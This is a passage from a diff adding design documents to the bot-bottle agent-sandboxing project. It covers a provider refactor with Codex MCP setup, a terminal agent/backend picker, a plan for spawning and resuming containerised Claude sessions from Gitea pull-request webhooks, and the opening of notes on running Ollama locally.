||||||
|
PRD 0048's contrib convention. The visible contract is that
|
||||||
|
provisioning lives on the provider plugin.
|
||||||
|
|
||||||
|
### MCP registration for Codex
|
||||||
|
|
||||||
|
Codex reads MCP servers from `~/.codex/config.toml` (or whatever
|
||||||
|
`CODEX_HOME/config.toml` resolves to). The provider already writes
|
||||||
|
this file once during `provision_plan` to set the project trust
|
||||||
|
level. `CodexAgentProvider.provision_supervise_mcp` extends the
|
||||||
|
existing write: same path, append a `[mcp_servers.supervise]` table
|
||||||
|
pointing at the agent-side supervise URL.
|
||||||
|
|
||||||
|
Two implementation routes worth flagging:
|
||||||
|
|
||||||
|
- **Option A:** Pre-bake the MCP entry in the same config-write that
|
||||||
|
happens during `provision_plan`, before bottle launch. Simpler;
|
||||||
|
the supervise URL has to be known at plan time, which means
|
||||||
|
`provision_plan` needs the supervise URL (or a sentinel that means
|
||||||
|
"fill this in"). The smolmachines backend already plumbs
|
||||||
|
`agent_supervise_url` through to its provision_supervise step, so
|
||||||
|
the value is available.
|
||||||
|
- **Option B:** Append at bottle-launch time via a `bottle.exec`
|
||||||
|
that writes to the file inside the guest, matching the
|
||||||
|
`claude mcp add` flow. Slower but uniform with how
|
||||||
|
`ClaudeAgentProvider.provision_supervise_mcp` works.
|
||||||
|
|
||||||
|
Option B is the symmetric choice and the one this PRD assumes.
|
||||||
|
The implementer can switch to A if Option B turns out to need a
|
||||||
|
TOML-merge primitive the codebase doesn't already have.
|
||||||
|
|
||||||
|
### Backend after the cut
|
||||||
|
|
||||||
|
```python
|
||||||
|
class BottleBackend:
|
||||||
|
def provision_in_bottle(self, plan, bottle, supervise_url):
|
||||||
|
provider = get_provider(plan.spec.manifest.agents[
|
||||||
|
plan.spec.agent_name].provider)
|
||||||
|
self.provision_ca(plan, bottle)
|
||||||
|
prompt_path = provider.provision_prompt(bottle, plan)
|
||||||
|
provider.provision_skills(bottle, plan)
|
||||||
|
self.provision_workspace(plan, bottle)
|
||||||
|
self.provision_git(plan, bottle)
|
||||||
|
provider.provision_supervise_mcp(bottle, plan, supervise_url)
|
||||||
|
return prompt_path
|
||||||
|
```
|
||||||
|
|
||||||
|
`supervise_url` is the existing per-backend "where does the agent
|
||||||
|
reach the sidecar from inside the guest" value. The Docker backend
|
||||||
|
passes `http://supervise:<port>/`; smolmachines passes the
|
||||||
|
`http://127.0.0.1:<port>/` it already computed. The backend's only
|
||||||
|
remaining provider-touching duty is "tell the provider what the
|
||||||
|
sidecar URL is".
|
||||||
|
|
||||||
|
### Registry
|
||||||
|
|
||||||
|
```python
|
||||||
|
# bot_bottle/agent_provider.py
|
||||||
|
def get_provider(template: str) -> AgentProvider:
|
||||||
|
if template == PROVIDER_CLAUDE:
|
||||||
|
from bot_bottle.contrib.claude.agent_provider import (
|
||||||
|
ClaudeAgentProvider,
|
||||||
|
)
|
||||||
|
return ClaudeAgentProvider()
|
||||||
|
if template == PROVIDER_CODEX:
|
||||||
|
from bot_bottle.contrib.codex.agent_provider import (
|
||||||
|
CodexAgentProvider,
|
||||||
|
)
|
||||||
|
return CodexAgentProvider()
|
||||||
|
raise ValueError(f"unknown agent provider template: {template!r}")
|
||||||
|
```
|
||||||
|
|
||||||
|
Lazy imports keep core import-time graph small and match PRD 0048.
|
||||||
|
|
||||||
|
## Implementation chunks
|
||||||
|
|
||||||
|
Each chunk is one commit on the PR; the PR ships as one cut.
|
||||||
|
|
||||||
|
1. **Lift `AgentProvider` ABC + registry.** Add the ABC and
|
||||||
|
`get_provider` next to the existing `agent_provision_plan`
|
||||||
|
function. Have `agent_provision_plan` delegate to
|
||||||
|
`get_provider(template).provision_plan(...)` so callers keep
|
||||||
|
working through the transition.
|
||||||
|
2. **Move provider-specific `provision_plan` content into
|
||||||
|
contrib.** Create `contrib/claude/` and `contrib/codex/`. The
|
||||||
|
Claude and Codex branches of `agent_provision_plan` move into
|
||||||
|
the respective provider classes. The shared scaffolding
|
||||||
|
(initial dict setup, final `AgentProvisionPlan(...)` return)
|
||||||
|
stays in the ABC as a template method or moves into each
|
||||||
|
subclass — whichever needs less indirection.
|
||||||
|
3. **Move backend provisioners onto the provider.** Add
|
||||||
|
`provision_skills`, `provision_prompt`, `provision_supervise_mcp`
|
||||||
|
to `AgentProvider` (with a shared apply helper for skills /
|
||||||
|
prompt). Update `BottleBackend.provision_in_bottle` to call them.
|
||||||
|
Delete the four backend hook methods and the eight
|
||||||
|
`backend/<name>/provision/{skills,prompt,provider_auth,supervise}.py`
|
||||||
|
modules.
|
||||||
|
4. **Add Codex MCP support.** Implement
|
||||||
|
`CodexAgentProvider.provision_supervise_mcp` against
|
||||||
|
`~/.codex/config.toml`. Add a unit test that runs the method
|
||||||
|
against an in-memory FakeBottle and asserts the
|
||||||
|
`[mcp_servers.supervise]` block is present.
|
||||||
|
5. **Migrate tests.** Per-backend tests for the moved
|
||||||
|
provisioners turn into per-provider tests under
|
||||||
|
`tests/unit/test_contrib_claude_*.py` and
|
||||||
|
`tests/unit/test_contrib_codex_*.py`. Keep one integration-style
|
||||||
|
test per backend that confirms `provision_in_bottle` still
|
||||||
|
reaches every step.
|
||||||
|
6. **Activate.** Flip Status: Draft → Active in this PRD; close
|
||||||
|
#177 on merge.
|
||||||
|
|
||||||
|
## Open questions (resolved)
|
||||||
|
|
||||||
|
1. **`codex mcp add` exists.** Implementation calls
|
||||||
|
`codex mcp add --transport http supervise <url>` as `node` —
|
||||||
|
symmetric with `claude mcp add` (no `--scope user`; Codex writes
|
||||||
|
`~/.codex/config.toml` by default). Failure logs a warning; the
|
||||||
|
bottle still works without the entry.
|
||||||
|
2. **Each provider owns its apply steps end-to-end.** The base
|
||||||
|
ABC declares `provision_skills` / `provision_prompt` /
|
||||||
|
`provision` as abstract; each concrete provider implements its
|
||||||
|
own copy loop. No shared `_provision_apply.py`. The apply
|
||||||
|
sequences look similar today, but Claude and Codex harnesses
|
||||||
|
diverge over time (codex already grew a dummy-auth dance + a
|
||||||
|
`codex login status` verify with no Claude analogue) and the
|
||||||
|
"shared because both happen to call cp_in then chown" coupling
|
||||||
|
would just rot. Duplication is intentional.
|
||||||
|
3. **Env knobs removed.** `BOT_BOTTLE_CONTAINER_HOME`,
|
||||||
|
`BOT_BOTTLE_GUEST_HOME`, `BOT_BOTTLE_CONTAINER_SKILLS_DIR`, and
|
||||||
|
`BOT_BOTTLE_GUEST_SKILLS_DIR` are gone; `/home/node` is hardcoded
|
||||||
|
everywhere it was read. The values were effectively constants;
|
||||||
|
the knobs added surface area for no real flexibility.
|
||||||
|
|
||||||
|
## References
|
||||||
|
|
||||||
|
- Issue
|
||||||
|
[#177](https://gitea.dideric.is/didericis/bot-bottle/issues/177)
|
||||||
|
— the request: move provider logic into contrib, add MCP
|
||||||
|
configuration to agent provision, rename provision_supervise →
|
||||||
|
provision_supervise_mcp, ensure Codex gets MCP provisioned.
|
||||||
|
- PRD 0013 — supervise plane foundation (defines the MCP-discoverable
|
||||||
|
block-remediation tools this PRD makes available to Codex).
|
||||||
|
- PRD 0048 — SSH deploy key provisioning (the `contrib/` convention
|
||||||
|
this PRD follows).
|
||||||
|
- Current source:
|
||||||
|
[agent_provider.py L154-L230](https://gitea.dideric.is/didericis/bot-bottle/src/branch/main/bot_bottle/agent_provider.py#L154-L230)
|
||||||
|
— the provider-specific block this PRD relocates to contrib.
|
||||||
@@ -0,0 +1,157 @@
|
|||||||
|
# PRD 0051: Launch selector
|
||||||
|
|
||||||
|
- **Status:** Active
|
||||||
|
- **Author:** claude
|
||||||
|
- **Created:** 2026-06-04
|
||||||
|
- **Issue:** #185
|
||||||
|
|
||||||
|
## Summary
|
||||||
|
|
||||||
|
When `./cli.py start` is run without an agent name, or without a backend
|
||||||
|
explicitly specified, the user currently gets an argparse error (missing
|
||||||
|
positional) or falls through to the `docker` default silently. This PRD
|
||||||
|
adds a terminal UI that appears in those gaps: a filter-select screen
|
||||||
|
built with `curses` that lets the operator pick the agent and/or backend
|
||||||
|
interactively rather than memorising names or consulting `./cli.py list`.
|
||||||
|
|
||||||
|
## Problem
|
||||||
|
|
||||||
|
With the dashboard removed (PRD 0049), starting an agent from memory is
|
||||||
|
the only path. The operator must know the exact agent name and type it
|
||||||
|
as a positional argument. For infrequent users or large manifests this
|
||||||
|
is friction. A picker that appears automatically when the name is absent
|
||||||
|
closes the gap with minimal ceremony.
|
||||||
|
|
||||||
|
The same logic applies to backends: the operator rarely wants to specify
|
||||||
|
`--backend` explicitly, but when they do they need to know the set of
|
||||||
|
registered names. A picker on an empty `--backend` makes the choice
|
||||||
|
visible.
|
||||||
|
|
||||||
|
## Goals / Success Criteria
|
||||||
|
|
||||||
|
1. `./cli.py start` (no arguments) shows an interactive agent selector;
|
||||||
|
the selected name is used exactly as if it had been passed on the
|
||||||
|
command line.
|
||||||
|
2. `./cli.py start <name>` (no `--backend`, no `BOT_BOTTLE_BACKEND`)
|
||||||
|
shows an interactive backend selector; the selected backend is used
|
||||||
|
exactly as if `--backend=<selected>` had been passed.
|
||||||
|
3. `./cli.py start <name> --backend=<b>` (both explicit) shows neither
|
||||||
|
screen — no behavioural change from today.
|
||||||
|
4. `./cli.py start` (no arguments, no env backend) shows the agent
|
||||||
|
selector first, then the backend selector.
|
||||||
|
5. The filter-select widget is a standalone utility
|
||||||
|
(`bot_bottle/cli/tui.py`) shared by both selectors.
|
||||||
|
6. Pressing `Ctrl-C` or `q` in either selector exits cleanly (exit 0).
|
||||||
|
7. The widget supports incremental filtering: typing narrows the list;
|
||||||
|
`Backspace` removes the last character; `↑`/`↓`/`j`/`k` move the
|
||||||
|
cursor; `Enter` confirms; `Esc`/`q` cancels.
|
||||||
|
8. Unit tests cover: filtering logic, cursor movement, confirm, cancel,
|
||||||
|
and the `cmd_start` dispatch (agent-absent, backend-absent,
|
||||||
|
both-explicit, both-absent).
|
||||||
|
|
||||||
|
## Non-goals
|
||||||
|
|
||||||
|
- The TUI is not a general-purpose picker exposed as a public API;
|
||||||
|
it is an internal CLI utility.
|
||||||
|
- No mouse support.
|
||||||
|
- No pagination beyond what fits in the terminal window (scroll via
|
||||||
|
cursor movement is sufficient for typical agent counts).
|
||||||
|
- No multi-select; exactly one item is chosen per invocation.
|
||||||
|
- No changes to `./cli.py resume`, `./cli.py list`, or any other
|
||||||
|
subcommand.
|
||||||
|
|
||||||
|
## Design
|
||||||
|
|
||||||
|
### `bot_bottle/cli/tui.py` — `filter_select`
|
||||||
|
|
||||||
|
```python
|
||||||
|
def filter_select(
|
||||||
|
items: list[str],
|
||||||
|
*,
|
||||||
|
title: str = "",
|
||||||
|
tty_path: str = "/dev/tty",
|
||||||
|
) -> str | None:
|
||||||
|
"""Render a filter-select picker over the items list.
|
||||||
|
|
||||||
|
Returns the selected item string, or None if the user cancelled
|
||||||
|
(Esc / q / Ctrl-C / Ctrl-D).
|
||||||
|
|
||||||
|
Opens /dev/tty directly so the picker works even when stdout/stdin
|
||||||
|
are redirected — same pattern as `read_tty_line`.
|
||||||
|
"""
|
||||||
|
```
|
||||||
|
|
||||||
|
The widget renders to the tty file descriptor opened via `curses.initscr`
|
||||||
|
(or `curses.newterm` on the tty fd so stdout remains clean for callers
|
||||||
|
that pipe `./cli.py`).
|
||||||
|
|
||||||
|
Layout (full-width, minimal):
|
||||||
|
|
||||||
|
```
|
||||||
|
Select agent (title, top line)
|
||||||
|
Filter: <query>_ (filter line)
|
||||||
|
─────────────────────────────
|
||||||
|
> researcher
|
||||||
|
implementer
|
||||||
|
codex-researcher
|
||||||
|
...
|
||||||
|
─────────────────────────────
|
||||||
|
[↑↓/jk] move [Enter] select [Esc/q] cancel
|
||||||
|
```
|
||||||
|
|
||||||
|
- Lines below the filter are the filtered items; the cursor (`>`) marks
|
||||||
|
the selection.
|
||||||
|
- The list re-renders on every keypress.
|
||||||
|
- Terminal resize is not handled (SIGWINCH); if the window is too small
|
||||||
|
the picker exits with None.
|
||||||
|
|
||||||
|
### Changes to `cmd_start`
|
||||||
|
|
||||||
|
`name` changes from a required positional to an optional one
|
||||||
|
(`nargs="?"`). The post-parse block checks:
|
||||||
|
|
||||||
|
```python
|
||||||
|
agent_name = args.name
|
||||||
|
if agent_name is None:
|
||||||
|
manifest = Manifest.resolve(USER_CWD)
|
||||||
|
agent_name = tui.filter_select(
|
||||||
|
sorted(manifest.agents.keys()),
|
||||||
|
title="Select agent",
|
||||||
|
)
|
||||||
|
if agent_name is None:
|
||||||
|
return 0 # user cancelled
|
||||||
|
|
||||||
|
backend_name = args.backend
|
||||||
|
if backend_name is None and "BOT_BOTTLE_BACKEND" not in os.environ:
|
||||||
|
backend_name = tui.filter_select(
|
||||||
|
list(known_backend_names()),
|
||||||
|
title="Select backend",
|
||||||
|
)
|
||||||
|
if backend_name is None:
|
||||||
|
return 0 # user cancelled
|
||||||
|
```
|
||||||
|
|
||||||
|
The `manifest` object is resolved before the backend selection so the
|
||||||
|
agent picker can populate itself from the real manifest. The same
|
||||||
|
`manifest` is passed to `BottleSpec`; it is not resolved a second time.
|
||||||
|
|
||||||
|
### `/dev/tty` isolation
|
||||||
|
|
||||||
|
`filter_select` opens `/dev/tty` and feeds it as the input file to
|
||||||
|
`curses.wrapper`-equivalent code (using `curses.newterm` to avoid
|
||||||
|
clobbering the caller's stdout/stderr). This keeps the picker
|
||||||
|
composable — callers can pipe `./cli.py` output without the curses
|
||||||
|
draw sequences contaminating the pipe.
|
||||||
|
|
||||||
|
## Implementation chunks
|
||||||
|
|
||||||
|
1. **`tui.py` + tests.** Add `bot_bottle/cli/tui.py` with
|
||||||
|
`filter_select` and unit tests in `tests/unit/test_cli_tui.py`.
|
||||||
|
2. **Wire into `cmd_start` + tests.** Make `name` optional, add the
|
||||||
|
two-gate dispatch, extend `tests/unit/test_cli_start_selector.py`.
|
||||||
|
3. **Activate PRD 0051.** Flip Status Draft → Active in the same commit
|
||||||
|
that lands the implementation.
|
||||||
|
|
||||||
|
## Open questions
|
||||||
|
|
||||||
|
None. Scope is fully determined by the issue description.
|
||||||
@@ -0,0 +1,151 @@
|
|||||||
|
# Gitea Webhook Agent Dispatch
|
||||||
|
|
||||||
|
## Question
|
||||||
|
|
||||||
|
How should bot-bottle spawn and manage agents in response to Gitea PR events — and how do we reuse the same agent (with its full session context) across every event in a PR's lifecycle?
|
||||||
|
|
||||||
|
## Summary
|
||||||
|
|
||||||
|
A lightweight webhook receiver maps Gitea PR events to `cli.py` invocations. Spawning is straightforward: the existing work on non-interactive run mode (see [host-dispatch-to-container-agents.md](host-dispatch-to-container-agents.md)) is the missing piece. Session continuity is harder: it requires tracking two identifiers per open PR — the **bottle identity** (bot-bottle's slug for the container state dir) and the **Claude session ID** (the UUID Claude writes to its JSONL transcript). The transcript snapshot mechanism already used by capability-block is the right foundation; it just needs a non-interactive path and a PR-keyed store.
|
||||||
|
|
||||||
|
## Gitea Webhook Events for PR Lifecycle
|
||||||
|
|
||||||
|
Gitea fires `X-Gitea-Event: pull_request` (with an `action` field) for most PR state changes. The payload always includes `pull_request.number`, which is the stable key for correlating events to a running agent.
|
||||||
|
|
||||||
|
| `X-Gitea-Event` value | Relevant `action` values | When it fires |
|
||||||
|
|---|---|---|
|
||||||
|
| `pull_request` | `opened`, `reopened`, `closed`, `synchronized` | PR created, closed, or pushed to |
|
||||||
|
| `pull_request_comment` | `created`, `edited` | Timeline comment posted |
|
||||||
|
| `pull_request_review_approved` | — | Review submitted with approval |
|
||||||
|
| `pull_request_review_rejected` | — | Review submitted requesting changes |
|
||||||
|
| `pull_request_review_comment` | — | Inline code review comment |
|
||||||
|
| `pull_request_sync` | — | New commits pushed to the PR branch |
|
||||||
|
|
||||||
|
`pull_request` with `action: synchronized` and `pull_request_sync` both fire on push; they carry the same information but are separate subscriptions in the webhook config UI. Subscribe to `pull_request` and `pull_request_review` (the umbrella) plus `pull_request_comment` to cover the full lifecycle.
|
||||||
|
|
||||||
|
The webhook receiver validates the `X-Gitea-Signature-256` HMAC header (SHA-256 of the raw body, keyed by the configured secret) before dispatching.
|
||||||
|
|
||||||
|
## Spawning an Agent From a Webhook
|
||||||
|
|
||||||
|
### What we need from bot-bottle
|
||||||
|
|
||||||
|
The current `cli.py start` is interactive — it prompts y/N and attaches a tty. A webhook handler needs a non-interactive mode that:
|
||||||
|
|
||||||
|
1. Starts the container for a named agent.
|
||||||
|
2. Runs `claude -p "<task>" --output-format json --dangerously-skip-permissions` inside it (no tty, no session picker).
|
||||||
|
3. Captures stdout as JSON, extracts `session_id`.
|
||||||
|
4. Blocks until Claude exits, then tears down.
|
||||||
|
|
||||||
|
The [host-dispatch-to-container-agents](host-dispatch-to-container-agents.md) research proposes `cli.py run <agent> <task>` for exactly this. That command is the prerequisite for everything below. It should return the Claude JSON output so callers can extract `session_id`.
|
||||||
|
|
||||||
|
### Webhook receiver sketch
|
||||||
|
|
||||||
|
The receiver is a small HTTP service (Flask, FastAPI, or a Go net/http handler) running alongside bot-bottle on the host. It:
|
||||||
|
|
||||||
|
1. Validates the HMAC signature.
|
||||||
|
2. Extracts `pull_request.number` and `X-Gitea-Event` / `action`.
|
||||||
|
3. Looks up whether a bottle already exists for this PR number.
|
||||||
|
4. Spawns or resumes accordingly (see next section).
|
||||||
|
5. Optionally posts a comment back to the PR via Gitea API once Claude finishes.
|
||||||
|
|
||||||
|
The receiver does not need to be async or queue-based for a single-repo bot, but should at minimum serialize events for the same PR number (a per-PR lock) to avoid two concurrent sessions clobbering each other's transcript.
|
||||||
|
|
||||||
|
## Reusing the Same Agent Across a PR
|
||||||
|
|
||||||
|
This is the harder problem. Two separate identities need to be tracked and connected:
|
||||||
|
|
||||||
|
### Identity 1: bottle identity (bot-bottle slug)
|
||||||
|
|
||||||
|
The slug is the per-bottle state directory name (`~/.bot-bottle/state/<slug>/`). It's what `cli.py resume <slug>` uses to relaunch a container and mount the preserved state — including the transcript snapshot. This already works for the capability-block flow.
|
||||||
|
|
||||||
|
### Identity 2: Claude session ID
|
||||||
|
|
||||||
|
Claude Code's `--output-format json` response includes a `session_id` UUID. Passing `--resume <session_id>` on a subsequent non-interactive run makes Claude continue from exactly that conversation, with full memory of prior tool calls. `--continue` (which maps to `resume_args` in `agent_provider.py`) only picks up the *most recent* session in the project directory — unsafe when multiple sessions may be running concurrently.
|
||||||
|
|
||||||
|
The session JSONL lives at `~/.claude/projects/<encoded-cwd>/<session_id>.jsonl` inside the container guest. The transcript snapshot (`snapshot_transcript(slug)` in `capability_apply.py`) copies all of `~/.claude` out of the container before teardown, so the JSONL is preserved in `~/.bot-bottle/state/<slug>/transcript/.claude/`. When the bottle is relaunched and the transcript remounted, `claude --resume <session_id>` can find the JSONL at the right path.
|
||||||
|
|
||||||
|
### Per-PR session registry
|
||||||
|
|
||||||
|
The receiver needs a small persistent map:
|
||||||
|
|
||||||
|
```
|
||||||
|
PR number → { bottle_identity: str, claude_session_id: str, agent_name: str }
|
||||||
|
```
|
||||||
|
|
||||||
|
The simplest implementation is a JSON file at `~/.bot-bottle/pr-sessions.json`, written after each successful first-run and updated with each resume. A sqlite database is better if concurrent multi-repo support is needed.
|
||||||
|
|
||||||
|
### Full lifecycle flow
|
||||||
|
|
||||||
|
```
|
||||||
|
PR opened
|
||||||
|
→ webhook: action=opened
|
||||||
|
→ no entry in pr-sessions.json
|
||||||
|
→ cli.py run <agent> "Review PR #N: <title>\n<diff URL>"
|
||||||
|
→ starts container, runs claude -p ... --output-format json
|
||||||
|
→ on success: captures session_id from JSON output
|
||||||
|
→ snapshot_transcript(slug)
|
||||||
|
→ tears down container
|
||||||
|
→ write pr-sessions.json: { pr: N, slug: <slug>, session_id: <uuid> }
|
||||||
|
|
||||||
|
PR gets new commit
|
||||||
|
→ webhook: action=synchronized OR pull_request_sync
|
||||||
|
→ look up pr-sessions.json: found slug + session_id
|
||||||
|
→ cli.py run-resume <slug> --claude-session <session_id> "New commits pushed. Review the diff."
|
||||||
|
→ relaunches container with transcript snapshot mounted
|
||||||
|
→ runs claude -p ... --resume <session_id> --output-format json
|
||||||
|
→ captures new session_id (same or rotated)
|
||||||
|
→ snapshot_transcript(slug) again
|
||||||
|
→ update pr-sessions.json with latest session_id
|
||||||
|
|
||||||
|
Comment @-mentions bot
|
||||||
|
→ webhook: pull_request_comment, action=created
|
||||||
|
→ extract comment body, check for bot mention
|
||||||
|
→ same resume flow as above with comment as the prompt
|
||||||
|
|
||||||
|
PR closed / merged
|
||||||
|
→ webhook: action=closed
|
||||||
|
→ cli.py cleanup <slug> (or equivalent)
|
||||||
|
→ remove from pr-sessions.json
|
||||||
|
```
|
||||||
|
|
||||||
|
### What needs to be built
|
||||||
|
|
||||||
|
| Piece | Status | Notes |
|
||||||
|
|---|---|---|
|
||||||
|
| `cli.py run <agent> <task>` | Missing | Non-interactive start; see host-dispatch research |
|
||||||
|
| `cli.py run-resume <slug> --claude-session <id> <task>` | Missing | Like `resume` but non-interactive, passes `--resume <id>` to claude |
|
||||||
|
| `snapshot_transcript` on clean exit | Exists (PRD 0012) | Already called from `start.py`'s session-end path |
|
||||||
|
| Transcript remount on resume | Exists | `bottle_state.py::transcript_snapshot_dir` → docker cp in on launch |
|
||||||
|
| PR session registry | Missing | Needs to be designed; `~/.bot-bottle/pr-sessions.json` is the simplest start |
|
||||||
|
| Webhook receiver service | Missing | New service; needs to be a declared bottle or run as a host process |
|
||||||
|
|
||||||
|
## Known Rough Edges
|
||||||
|
|
||||||
|
**Session ID is not available from within the session.** The ID is only in the `--output-format json` result, readable after the process exits. There is no env var or hook that exposes it mid-session ([upstream issue #44607](https://github.com/anthropics/claude-code/issues/44607)). For the webhook bot this is fine — the outer receiver reads it from the subprocess result.
|
||||||
|
|
||||||
|
**`--continue` vs `--resume <id>`:** The existing `resume_args = ("--continue",)` in `agent_provider.py` picks up the *most recent* session. For an interactive single-user resume this is fine. For a webhook bot that may have multiple open PRs, it is not safe — two PRs' transcripts would collide if they share a project directory encoding. Use `--resume <session_id>` explicitly.
|
||||||
|
|
||||||
|
**Project directory encoding.** Claude stores sessions keyed by the absolute cwd, encoded as a path. Inside the container the cwd is always `/home/node` or a subdir. As long as every run for the same PR uses the same cwd, `--resume <session_id>` will find the right JSONL. The cwd should be pinned per PR entry in the session registry.
|
||||||
|
|
||||||
|
**Concurrent events for the same PR.** If two webhooks arrive close together (e.g., push + CI comment), the receiver must serialize them. A per-PR asyncio lock or a simple file lock on the session registry entry is enough.
|
||||||
|
|
||||||
|
**Context window growth.** Each resume appends to the same session. A PR with many round trips will eventually hit the context limit. Mitigation options: start a fresh Claude session (new `cli.py run`) periodically and carry forward a summary; or rely on Claude's built-in compaction. The session registry could include a turn count to trigger rotation.
|
||||||
|
|
||||||
|
**Webhook delivery ordering.** Gitea does not guarantee ordered delivery or exactly-once delivery. The receiver should be idempotent (same PR event processed twice should not create two bottles) and should ignore events for closed PRs.
|
||||||
|
|
||||||
|
## Relationship to Existing Bot-Bottle Infrastructure
|
||||||
|
|
||||||
|
The transcript snapshot + bottle identity system (PRD 0012, `capability_apply.py`) was designed for the capability-block flow: an operator-triggered resume after a security event. The webhook flow is the same mechanism on a faster loop driven by Gitea events instead of operator action. The implementation delta is:
|
||||||
|
|
||||||
|
1. Non-interactive run mode (the `cli.py run` gap already identified in host-dispatch research).
|
||||||
|
2. Passing `--resume <session_id>` explicitly rather than `--continue`.
|
||||||
|
3. A PR-keyed registry to connect PR numbers to bottle identities and session IDs.
|
||||||
|
4. A webhook receiver to drive the loop.
|
||||||
|
|
||||||
|
These are additive changes that sit on top of the existing transcript preservation machinery without altering it.
|
||||||
|
|
||||||
|
## Recommendation
|
||||||
|
|
||||||
|
Start with the non-interactive run mode (`cli.py run`) since everything else depends on it. Once that exists, the webhook receiver and session registry are straightforward glue. The receiver should run as a host process (not inside a bottle) since it needs to call `cli.py` and manage the session registry file. Serialize per-PR to avoid concurrency bugs. Use `--resume <session_id>` (not `--continue`) for all resume paths.
|
||||||
|
|
||||||
|
The PR session registry is deliberately minimal to start — a JSON file is fine. If multi-repo or multi-agent scenarios appear, migrating to sqlite is a one-file change.
|
||||||
@@ -0,0 +1,278 @@
|
|||||||
|
# Local Ollama: Deployment Topology, Harness Selection, and Model Sizing
|
||||||
|
|
||||||
|
Research notes on running Ollama locally for a bot-bottle coding agent workflow.
|
||||||
|
Covers the native-vs-VM question, which harness integrates best with an agent loop,
|
||||||
|
and which models make sense on an RTX 3070 (8 GB VRAM / 30 GB RAM) machine.
|
||||||
|
|
||||||
|
---
|
||||||
|
|
||||||
|
## 1. Deployment topology: native, container, or VM?
|
||||||
|
|
||||||
|
The core question is whether running Ollama in a VM significantly degrades inference
|
||||||
|
performance. The short answer: a full KVM/QEMU VM with GPU passthrough adds roughly
|
||||||
|
2–5% overhead, Docker on Linux adds roughly 1–2%, and LXC containers add sub-1%. None
|
||||||
|
of these are significant for interactive coding use.
|
||||||
|
|
||||||
|
### Native (bare metal)
|
||||||
|
|
||||||
|
Zero overhead, immediate GPU access, simplest setup. The right default for a solo
|
||||||
|
developer doing inference on their own workstation.
|
||||||
|
|
||||||
|
### Docker containers on Linux + NVIDIA
|
||||||
|
|
||||||
|
With `nvidia-container-toolkit` and `--gpus all`, containerized Ollama runs at
|
||||||
|
essentially native speed (~1–2% overhead on Linux). The dramatic exception is macOS,
|
||||||
|
where Docker Desktop runs a Linux VM with no access to Apple's Metal/GPU — inference
|
||||||
|
is 5–6× slower. On Linux/Windows with NVIDIA hardware, Docker is fine.
|
||||||
|
|
||||||
|
Common pitfall: if `docker exec ollama ollama ps` shows 0 GPU layers, the container
|
||||||
|
fell back to CPU. Usual causes: stale VRAM allocation, missing `nvidia-container-toolkit`,
|
||||||
|
or a host driver too old for the container's CUDA version.
|
||||||
|
|
||||||
|
### KVM/QEMU VM with full PCIe passthrough
|
||||||
|
|
||||||
|
Full GPU passthrough makes the GPU invisible to the host while the VM owns it. Overhead
|
||||||
|
from the IOMMU translation layer and virtualized PCIe bus is ~2–5%. This is viable if
|
||||||
|
you need VM-level isolation (snapshotting, migration, separate kernel). Setup complexity
|
||||||
|
is non-trivial: BIOS IOMMU, IOMMU group management, VFIO driver binding. Once configured
|
||||||
|
it is stable.
|
||||||
|
|
||||||
|
**Critical gotcha:** set the VM's CPU type to `host`. If left at the default
|
||||||
|
(`x86-64-v2-AES` / "QEMU Virtual CPU version 2.5+"), Ollama may silently disable GPU
|
||||||
|
support even when drivers appear correct.
|
||||||
|
|
||||||
|
### LXC containers (Proxmox et al.)
|
||||||
|
|
||||||
|
The sweet spot for isolation without overhead. Sub-1% performance difference from bare
|
||||||
|
metal because LXC shares the host kernel; GPU device files are bind-mounted into the
|
||||||
|
container. The tradeoff is weaker isolation (shared kernel) and the requirement that
|
||||||
|
host and container driver versions match. Not suitable if you need VM-level snapshots
|
||||||
|
or live migration.
|
||||||
|
|
||||||
|
### Summary
|
||||||
|
|
||||||
|
| Topology | GPU overhead | Isolation | Complexity |
|
||||||
|
|---|---|---|---|
|
||||||
|
| Native | 0% | None | Low |
|
||||||
|
| Docker (Linux) | ~1–2% | Process | Low |
|
||||||
|
| LXC | <1% | Namespace | Medium |
|
||||||
|
| KVM passthrough | 2–5% | Full VM | High |
|
||||||
|
| VM no passthrough | CPU-only | Full VM | Medium |
|
||||||
|
|
||||||
|
Running Ollama in a VM will **not** significantly slow inference as long as GPU passthrough
|
||||||
|
is configured. Without passthrough (software rendering / CPU fallback) performance
|
||||||
|
collapses — that is what the user is rightly worried about.
|
||||||
|
|
||||||
|
### Local vs. remote server
|
||||||
|
|
||||||
|
| Factor | Local machine | Remote server |
|
||||||
|
|---|---|---|
|
||||||
|
| Latency | Near-zero | Network round-trip; cumulative in agent loops |
|
||||||
|
| Cost | Zero after hardware | Per-token or subscription |
|
||||||
|
| Privacy | 100% on-device | Data leaves the machine |
|
||||||
|
| Model size ceiling | VRAM-limited | No hard limit (671B+ feasible) |
|
||||||
|
| Offline use | Yes | No |
|
||||||
|
| Concurrency under load | Sequential by default | Scales horizontally |
|
||||||
|
|
||||||
|
For agentic coding workflows making 20–50 tool calls per session, network latency
|
||||||
|
accumulates quickly. Local inference eliminates this. A practical hybrid pattern:
|
||||||
|
use the local GPU for routine coding loops; route only to a remote API for tasks
|
||||||
|
requiring a 70B+ model or very long context (>128K tokens).
|
||||||
|
|
||||||
|
---
|
||||||
|
|
||||||
|
## 2. Harness selection
|
||||||
|
|
||||||
|
The landscape in 2026 has settled into three categories: IDE plugins, terminal agents,
|
||||||
|
and chat UIs.
|
||||||
|
|
||||||
|
### Continue.dev — recommended IDE plugin
|
||||||
|
|
||||||
|
Open-source VS Code / JetBrains / Zed / Vim extension. Routes autocomplete, chat, and
|
||||||
|
refactoring commands to any configured LLM backend (Ollama, cloud APIs). The recommended
|
||||||
|
setup uses two models: a small FIM-capable model for inline autocomplete (Qwen2.5-Coder 7B)
|
||||||
|
and a larger model for chat/edit. Handles inline completions, multi-file edits, and
|
||||||
|
codebase-aware chat. No API key, no data leaving the machine.
|
||||||
|
|
||||||
|
### Aider — recommended for git-native terminal workflows
|
||||||
|
|
||||||
|
Terminal-based coding agent. Builds a codebase map before editing, makes changes
|
||||||
|
directly, and auto-commits to git with readable messages. Every change is one
|
||||||
|
`git revert` away. Supports 100+ languages; connects to any Ollama-served model
|
||||||
|
via the OpenAI-compatible API. Best for terminal-first developers who want
|
||||||
|
version-controlled agent interactions. Does not do inline autocomplete.
|
||||||
|
|
||||||
|
### OpenCode — recommended for bot-bottle–style agent loops
|
||||||
|
|
||||||
|
Terminal-based coding agent with 15 built-in tools (bash execution, file read/write/edit,
|
||||||
|
grep, glob, web fetch, MCP support) and connections to 75+ model providers including
|
||||||
|
local Ollama models. This is the closest open-source equivalent to a Claude Code–style
|
